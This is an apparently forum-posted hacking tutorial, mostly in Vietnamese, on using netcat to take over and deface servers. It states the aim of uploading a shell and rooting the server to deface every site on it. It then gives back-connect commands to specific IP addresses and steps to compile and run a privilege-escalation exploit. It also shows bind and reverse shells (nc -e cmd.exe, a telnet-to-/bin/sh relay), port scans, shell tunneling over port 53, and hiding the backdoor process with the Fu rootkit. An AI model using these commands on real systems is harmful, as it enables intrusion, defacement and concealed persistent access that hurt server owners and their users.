After uploading a shell we will try to deface all sites under that server by ROOTING THE SERVER.

http://ruthtr.com/uploads/Netcat.zip

http://www.tartarus.org/~simon/putty.../x86/putty.exe

C:\netcat>nc -nvv [ip của victim] 2121

C:\netcat>nc -nvv 66.246.215.103 2121

perl dc.pl [ip] [port]

perl dc.pl 216.120.237.150 4141

Shell
Netcat
Exploit

uname -a

less /proc/version

Linux 2.6.18-194.11.1.el5PAE #1 SMP Tue Aug 10 19:48:16 EDT 2009 i686 i686 i386 GNU/Linux

gcc filename.c -o filename

chmod 777 filename

C:\nc

nc 127.0.0.1 7777

nc -vv -l -p 7777

nc -vlp 443

:: w4ck1ng-shell (Private Build v0.3) bind shell backdoor ::

id=99(nobody) gid=99(nobody)

./file

id

id=root gid=root groups=root

- Mở File netcat.c hiệu chỉnh lại cho phù hợp + ta tìm dòng res_init(); trong main() và thêm vào trước 2 dấu "/": // res_init(); + thêm 2 dòng sau vào phần #define (nằm ở đầu file): #define GAPING_SECURITY_HOLE #define TELNET - biên dịch: make linux - chạy thử xem có làm việc ko: ./nc -h - nếu bạn muốn chạy Netcat bằng nc thay cho ./nc, bạn chỉ cần hiệu chỉnh lại biến môi trường PATH trong file ~/.bashrc, thêm vào ":." PATH=/sbin:/usr/sbin:...:.

C:\>nc -h connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [options] [hostname] [port] options: -d detach from console, stealth mode -e prog inbound program to exec [dangerous!!] -g gateway source-routing hop point[s], up to 8 -G num source-routing pointer: 4, 8, 12, ... -h this cruft -i secs delay interval for lines sent, ports scanned -l listen mode, for inbound connects -L listen harder, re-listen on socket close -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -s addr local source address -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -z zero-I/O mode [used for scanning] port numbers can be individual or ranges: m-n [inclusive]

nc 69.126.213.152 12345

nc -lvp 1111

-d tách Netcat khỏi cửa sổ lệnh hay là console, Netcat sẽ chạy ở chế độ steath(không hiển thị trên thanh Taskbar) -e prog thi hành chương trình prog, thường dùng trong chế độ lắng nghe -h gọi hướng dẫn -i secs trì hoãn secs mili giây trước khi gởi một dòng dữ liệu đi -l đặt Netcat vào chế độ lắng nghe để chờ các kết nối đến -L buộc Netcat "cố" lắng nghe. Nó sẽ lắng nghe trở lại sau mỗi khi ngắt một kết nối. -n chỉ dùng địa chỉ IP ở dạng số, chẳng hạn như 69.126.213.152, Netcat sẽ không thẩm vấn DNS -o file ghi nhật kí vào file -p port chỉ định cổng port -r yêu cầu Netcat chọn cổng ngẫu nhiên(random) -s addr giả mạo địa chỉ IP nguồn là addr -t không gởi các thông tin phụ đi trong một phiên telnet. Khi bạn telnet đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER. Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến telnetd. -u dùng UDP(mặc định netcat dùng TCP) -v hiển thị chi tiết các thông tin về kết nối hiện tại. -vv sẽ hiển thị thông tin chi tiết hơn nữa. -w secs đặt thời gian timeout cho mỗi kết nối là secs mili giây -z chế độ zero I/O, thường được sử dụng khi scan port Netcat hổ trợ phạm vi cho số hiệu cổng. Cú pháp là cổng1-cổng2. Ví dụ: 1-8080 nghĩa là 1,2,3,..,8080

C:\>nc 210.245.0.22 80 HEAD / HTTP/1.0 HTTP/1.1 302 Object moved Connection: close Date: Sun, 22 Oct 2006 17:31:28 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Location: /Vietnam/Home/ Content-Length: 135 Content-Type: text/html Expires: Sun, 22 Oct 2006 18:01:28 GMT Set-Cookie: ASPSESSIONIDCARRBACR=JLMJMMMBPKFHKHNHPCIPKNNF; path=/ Cache-control: private

C:\>nc -vv 210.245.0.22 80 210.245.0.22: inverse host lookup failed: h_errno 11004: NO_DATA (UNKNOWN) [210.245.0.22] 80 (http) open HEAD / HTTP/1.0 HTTP/1.1 302 Object moved Connection: close Date: Sun, 22 Oct 2006 17:34:06 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET Location: /Vietnam/Home/ Content-Length: 135 Content-Type: text/html Expires: Sun, 22 Oct 2006 18:04:06 GMT Set-Cookie: ASPSESSIONIDCARRBACR=IGHKMMMBLJOMCHCDNCAHGEGO; path=/ Cache-control: private sent 17, rcvd 338: NOTSOCK

nc -vv -o nhat_ki.log 210.245.0.22 80

< 00000000 48 54 54 50 2f 31 2e 31 20 33 30 32 20 4f 62 6a # HTTP/1.1 302 Obj < 00000010 65 63 74 20 6d 6f 76 65 64 0d 0a 43 6f 6e 6e 65 # ect moved..Conne < 00000020 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 44 61 # ction: close..Da < 00000030 74 65 3a 20 53 75 6e 2c 20 32 32 20 4f 63 74 20 # te: Sun, 22 Oct < 00000040 32 30 30 36 20 31 37 3a 33 36 3a 31 30 20 47 4d # 2006 17:36:10 GM < 00000050 54 0d 0a 53 65 72 76 65 72 3a 20 4d 69 63 72 6f # T..Server: Micro < 00000060 73 6f 66 74 2d 49 49 53 2f 36 2e 30 0d 0a 58 2d # soft-IIS/6.0..X- < 00000070 50 6f 77 65 72 65 64 2d 42 79 3a 20 41 53 50 2e # Powered-By: ASP. < 00000080 4e 45 54 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 2f # NET..Location: / < 00000090 56 69 65 74 6e 61 6d 2f 48 6f 6d 65 2f 0d 0a 43 # Vietnam/Home/..C < 000000a0 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 # ontent-Length: 1 < 000000b0 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 # 35..Content-Type < 000000c0 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 45 78 70 # : text/html..Exp < 000000d0 69 72 65 73 3a 20 53 75 6e 2c 20 32 32 20 4f 63 # ires: Sun, 22 Oc < 000000e0 74 20 32 30 30 36 20 31 38 3a 30 36 3a 31 30 20 # t 2006 18:06:10 < 000000f0 47 4d 54 0d 0a 53 65 74 2d 43 6f 6f 6b 69 65 3a # GMT..Set-Cookie: < 00000100 20 41 53 50 53 45 53 53 49 4f 4e 49 44 43 41 52 # ASPSESSIONIDCAR < 00000110 52 42 41 43 52 3d 4c 46 42 4c 4d 4d 4d 42 45 42 # RBACR=LFBLMMMBEB < 00000120 42 4f 44 42 4a 45 50 4f 44 45 45 43 44 47 3b 20 # BODBJEPODEECDG; < 00000130 70 61 74 68 3d 2f 0d 0a 43 61 63 68 65 2d 63 6f # path=/..Cache-co < 00000140 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a # ntrol: private.. < 00000150 0d 0a # ..

[root@localhost]# nc -nvv -z 69.126.213.152 1-500 (UNKNOWN) [69.126.213.152] 443 (?) open (UNKNOWN) [69.126.213.152] 139 (?) open (UNKNOWN) [69.126.213.152] 111 (?) open (UNKNOWN) [69.126.213.152] 80 (?) open (UNKNOWN) [69.126.213.152] 23 (?) open

[root@localhost]# nc -u -nvv -z 69.126.213.152 1-500 (UNKNOWN) [69.126.213.152] 1025 (?) open (UNKNOWN) [69.126.213.152] 1024 (?) open (UNKNOWN) [69.126.213.152] 138 (?) open (UNKNOWN) [69.126.213.152] 137 (?) open (UNKNOWN) [69.126.213.152] 123 (?) open (UNKNOWN) [69.126.213.152] 111 (?) open

E:\>nc -nvv -l -p 8080 -e C:\WINDOWS\system32\cmd.exe listening on [any] 8080 ... connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159 sent 0, rcvd 0: unknown socket error

C:\>nc -nvv 69.126.213.152 8080 (UNKNOWN) [69.126.213.152] 8080 (?) open Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp. E:\>cd test E:\test>dir /w Volume in drive E has no label. Volume Serial Number is B465-452F Directory of E:\test [.] [..] head.log NETUSERS.EXE NetView.exe ntcrash.zip password.txt pwdump.exe 6 File(s) 262,499 bytes 2 Dir(s) 191,488,000 bytes free C:\test>exit sent 20, rcvd 450: NOTSOCK

E:\>nc -nvv -L -p 8080 -e cmd.exe listening on [any] 8080 ...

E:\>netstat -a ... TCP nan_nhan:domain nan_nhan:53 LISTENING <- cổng 53 đang lắng nghe ...

E:\>nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 -> lắng nghe ngay trên cổng 53 listening on [172.16.84.1] 53 ... connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163

+ cửa sổ Netcat (1) : C:\>nc -nvv -l -p 80 + cửa sổ Netcat (2) : C:\>nc -nvv -l -p 25

[root@nan_nhan /]# telnet 172.16.84.1 80 | /bin/sh | telnet 172.16.84.1 25 /bin/sh: Trying: command not found /bin/sh: Connected: command not found /bin/sh: Escape: command not found Trying 172.16.84.1... Connected to 172.16.84.1. Escape character is '^]'.

C:\>nc -nvv -l -p 80 listennng on [any] 80 ... connect to [172.16.84.1] from [172.16.84.2] 1055 pwd ls -la

C:\>nc -nvv -l -p 25 listening on [any] 25 ... connect to [172.16.84.1] from (UNKNOWN) [172.16.84.2] 1056 / total 171 drwxr-xr-x 11 root root 4096 Oct 8 20:22 ./ drwxr-xr-x 11 root root 4096 Oct 8 20:22 ../ drwxr-xr-x 2 root 3921 4096 Oct 16 18:37 bin/ -rwxr-xr-x 1 root root 1320 Oct 22 12:33 check* drwxr-xr-x 7 root root 3980 Oct 21 17:14 dev/ drwxr-xr-x 4 root root 4096 Oct 8 20:22 etc/ drwxr-xr-x 3 root root 4096 Oct 8 20:22 home/ drwxr-xr-x 11 root 3921 4096 Oct 16 18:37 lib/ dr-xr-xr-x 232 root root 0 Oct 21 13:10 proc/ drwxrwxrwt 15 root 3921 380928 Oct 22 13:17 tmp/ drwxr-xr-x 11 root root 4096 Oct 8 20:22 usr/ drwxr-xr-x 6 root root 4096 Oct 8 20:22 var/

C:\>nc -nvv -l -p 80 listennng on [any] 80 ...

E:\>nc -e cmd.exe 172.16.84.1 80

C:\>nc -nvv -l -p 80 listenning pm [any] 80 ... connect to [172.16.84.1] from [UNKNOWN] [172.16.84.3] 1035 Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp. E:\>

E:\>nc -nvv -L -p 1234 -e cmd.exe listening on [any] 1234 ...

C:\>perl tunnel.pl --port=53 --tohost=127.0.0.1 --toport=1234

C:\>fpipe -l 53 -r 1234 127.0.0.1

1, Netcat có cả 2 version cho Windows và Linux. Chúng ta có thể download tại đây
Sau khi cài đặt đối với hệ điều hành Windows thi netcat chỉ cần duy nhất một files là nc.exe .
Command cho phép netcat lắng nghe ở cổng 8000 .

nc -l -p 8000 -t -e cmd.exe
-l : cho phép netcat ở chế độ lắng nghe
-p : cổng để netcat lắng nghe
-t : cho phép sử dụng kiểu kết nối telnet
-e : chạy chương trình sau khi kết nối
Vậy command ở đây cho phép hacker kết nối vào máy nạn với port 8000 và khởi động chương trình cmd.exe (command line) để thực thi các lệnh tấn công vào hệ thống. Command trên máy hacker:

nc -v 172.16.1.3 8000

ở đây nạn nhân là máy tính 172.16.1.3.
2, Trong quá trình hoạt động của tất cả backdoor luôn nằm trong Processes và Port Listener sẽ khiến cho quản trị hệ thống phát hiện sự bất thường. Vậy làm sao để ẩn dấu sau Processes và Port Listener ??? tới lúc này chúng ra sử dụng kỹ thuật rookit cho phép những processes của backdoor có thể ẩn nấp sâu vào trong hệ thống và khó phát hiện hơn. Với ví dụ ở phần 1 ta sẽ thấy trên hệ thống :
Port Listener

Processes

Ở đây processes nc của tôi có số process id = 2020. Để ấn dấu processes này tôi dùng rootkit Fu. Tải tại đây . Command

fu -ph 2020
Sau khi xong ta dung tasklist để view lại sẽ không còn thấy nc.exe nữa. Đã hoàn toàn được ẩn nấp vào trong hệ thống mà Task Manager cũng như tasklist không phát hiện được. Nhưng đối với “Fu” chỉ che giấu được processes không che giấu được Port Listener. Để làm được điều này ta có thể dùng rootkit “hxdef100r”. Rootkit này cho phép ân dấu cả folder, services, processes, port và registry. Đồng thời cũng tự tạo backdoor luôn. Vì đây là rootkit tương đối nguy hiểm tôi sẽ không đề cập đến cách cấu hình trong bài viết này. Các bạn có thể tham khảo tại đây. Hi vọng sau bài viết này các bạn đã có một cách nhìn tổng quan về Backdoor và Rootkit.